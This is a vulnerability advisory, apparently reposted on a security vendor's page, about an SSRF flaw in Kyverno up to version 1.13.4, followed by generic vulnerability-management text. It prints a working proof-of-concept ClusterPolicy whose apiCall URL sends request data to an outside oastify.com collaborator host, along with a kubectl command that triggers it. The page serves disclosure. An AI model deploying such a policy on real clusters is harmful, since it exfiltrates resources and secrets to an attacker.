An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" />
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
| Software | Affected versions |
|---|---|
github.com/kyverno/kyverno
|
<= 1.13.4 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.